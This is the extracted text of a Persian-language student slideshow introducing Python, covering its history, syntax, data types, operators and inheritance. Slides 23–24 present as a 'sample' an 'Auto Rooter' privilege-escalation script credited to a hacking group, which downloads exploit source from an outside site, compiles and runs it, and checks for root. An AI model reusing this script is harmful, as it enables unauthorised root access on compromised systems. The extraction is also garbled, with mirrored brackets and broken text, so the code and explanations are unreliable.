Programing Language

Preview:

DESCRIPTION

Programing Language. کاری از : پگاه محبتی مریم یوسفی. تاریخچه. در سال 1991 توسط گویدو ون رسوم ABC هدف : ایجاد جانشینی برای زبان هشتمین زبان برنامه نویسی پرطرفدار جهان. Guido van Rossum. ( Benevolent Dictator for Life ). ویژگی ها : . زبان سطح بالا و شی گرا - PowerPoint PPT Presentation

Citation preview

1

Programing Language

کاری از :پگاه محبتی

مریم یوسفی

2

تاریخچه توسط گویدو ون 1991در سال

رسوم

ABC هدف : ایجاد جانشینی برایزبان

هشتمین زبان برنامه نویسی پرطرفدار جهان

Guido van Rossum( Benevolent Dictator for Life )

3

: ویژگی ها زبان سطح باال و شی گرا• رایگان و متن باز•قابل حمل • از زبانهای سطح باال سطح قدرتمند )ترکیبی•

پایین و تفسیری) امنیت اطالعات• درونی سازی و گسترش• سهولت یادگیری و استفاده•

4

را کPه اولیPن برنامه hello world برای مثال برنامPه پایتون و سی زبان دو در را باشPد مPی سPاده

مقایسه کنید: :cدر

#include <stdio.h>int main(){printf(" Hello world ");return 0;{

5

: در پايتون

print "Hello World !!"

6

اهداف اصلی

خوانایی باالی برنامه ها• کوتاهی و بازدهی نسبی باالی •

آن

یک کار غیر معمول در طراحی این زبان استفاده از فاصله و جلو بردن متن برای مشخص کردن

بلوک های مختلف کد است که به ویژگی آف–ساید معروف است .

7

پایتون یک زبان تفسیری است

برنامه ها به دو روش پردازش می شوند توسط

کامپایلر مفّسر

8

پایتون یک زبان تفسیری است

یک کامپایلر برنامه را می خواند و قبل از اینکه اجرا کنPد آPن را بPه طور کامPل بPه زبان ماشین ترجمPه مPی کند. در ایPن مورد برنامPۀi سطح باال

ک,د مقصد و برنامPۀi ترجمPه شده را ک,د مبدأ اجرا یPا برنامه قاب,ل کPه بار یPک نامند. مPی

iن را بدون ترجمۀPد آPی توانیPل شود ، مPکامپایمجدد به دفعات اجرا کنید.

9

و خواند می خط به خط را برنامه مفسر . که معنی بدین دهد می راانجام محاسبات

می انجام گوید می برنامه که را آنچه مفسردهد.

10

پایتون یک زبان تفسیری است

اجرا مفسر iوسیلۀ به پایتون هاي برنامه. شوند می

وجود مفسر از استفاده براي راه دودارد:

حالت خط فرمان حالت

اسکریپت

11

در حالت خط فرمان ، شما برنامه پایتون 1.را تایپ می کنید و مفّسر نتیجه را چاپ

print 1+1 <<<می کند :

2

12

در حالت اسکریپت ، شما برنامه را در یک 2.فایل می نویسید و از مفّسر براي اجراي

محتویات فایل استفاده کنید. چنین فایلی را print<<<اسکریپت می نامند.

1+1$ python latoya.py

2

13

کار با پایتون شروعتاکنون محیط هاي گرافیکی زیادي جهت برنامه

نویسی پایتون در سیستم عامل هاي گوناگون ازسوي شرکت هاي مختلف عرضه شده است،

IDLE • :از جمله• win32 • wxPython • Tkinter

14

تایپ می کنید بر IDLE کد شما همچنان که دراساس انواع نحوي پایتون رنگ آمیزي می

شود : توضیحات به رنگ قرمزند

رشته ها سبز رنگتعاریف و خروجی هاي مفسر آبی

وکلمات کلیدي پایتون هم نارنجی هستند

15

• .pyw• .pyc• .pyo• .pyd

برنامه هایی را که در پایتون می ذخیره می شوند py.نویسید با پسوند

سایر پسوندهایی که ممکن است در پایتون مشاهده کنید شامل :

16

انواع داده هانوع توصیف مثالstr رشته غیر قابل تغییر از

کاراکترها‘Hello’ “Hello”

list تغییر پذیر، می تواند تایپ های مختلف را دارا

.باشد

[‘string’,true,4]

tuple تغییر ناپذیر، می تواند تایپ های مختلف را دارا

.باشد

(‘string’,true,4)

int یک عدد صحیح 47

float یک عدد اعشار 3.141592

complex یک عدد مختلط با عدد حقیقی و قسمت

موهومی

3+2j

bool عدد درستی True , False

17

متغیرهادسPتورنسبت دهPی یPک متغیPر جدیPد میسازد و

مقداري را به آن نسبت می دهد :

>>> message = "What's up, Doc?">>> n = 17>>> pi = 3.14159>>> print message>>> print n What's up, Doc? 17

18

شرط ها و روند کنترل• if• for• while• class• def• with• try

در برنامه نویسی شی گرا استفاده می شود که یک

بلوک کد را اجرا و فضاهای محلی آن

را به یک کالس ملحق می کند

یک تابع تعریف می کند

یک بلوک کد را به یک مدیر متن ضمیمه می کندجلوگیری از

اعتراض

19

عملگرها

20+32 hour-1 hour*60 minute/60 5**2 (5+9)*(15-7)

+ - / * ** ()

20

م عملگرها تقد

توان < ضرب < تقسیم < جمع< تفریقپرانتزها < رسانی

21

وراثت iنسخۀ کPه اسPت جدیدي کالس تعریPف توانایPی از باشد. یPک کالس موجود می از اي تغییریافتPه آنجایPی کPه کالس جدید تمام متدهاي کالس موجود را بPه ارث مPی برد، ایPن عمPل وراثPت نامیده می شود. بPا توسPعۀi ایPن اسPتعاره، کالس موجود گاهی

گاهی وال,د جدیPد، کالس بPه شود. مPی نامیده یا زیر کالس گفته می شود.کالس فرزند

22

وراثتمزایای اضافه کردن متدهای جدید به یک کالس بدون تغییر در •

کالس موجود ساده تر شدن بعضی از برنامه های پیچیده• استفاده مجدد از کدها به آسانی •

معایب وراثتمPی توانPد خوانایPی برنامPه را دشوارتPر سPازد . هنگامی •

که یک متد احضارمی شود، گاهی یافتن محل تعریف آن واضح نیست .

23

#!/usr/bin/python#Code By G3n3Rall#BHG Security Center#Www.Black-hg.org ||| Www.Greyh4t.Com#www.idc-team.net

import urllib2,sys,os #1

print 'Auto Rooter ...'  #2

mylocalroot = 'http://www.black-hg.org/Localroot/x.c'#3

try:

    exploit = urllib2.urlopen(mylocalroot( #4

    exploit = exploit.read(( #5

    xpl = open("x.c", "w"(  #6

    xpl.write(exploit( #7

    xpl.close(( #8

except: #9

پایتون کد نمونه یک

24

print 'Could Not Get Exploit' #10

try: #11

    os.system('chmod 777 x'( #12

    os.system('gcc x.c -o x'(

    os.system('./x Command'(

    uid = os.getuid(( #13

    if uid is '0': #14

        print 'You Have Root Access' #15

    else: # 16

        print 'Rooting Faild' #17

except: #18        print 'Error In Executing' #19 

25

پایان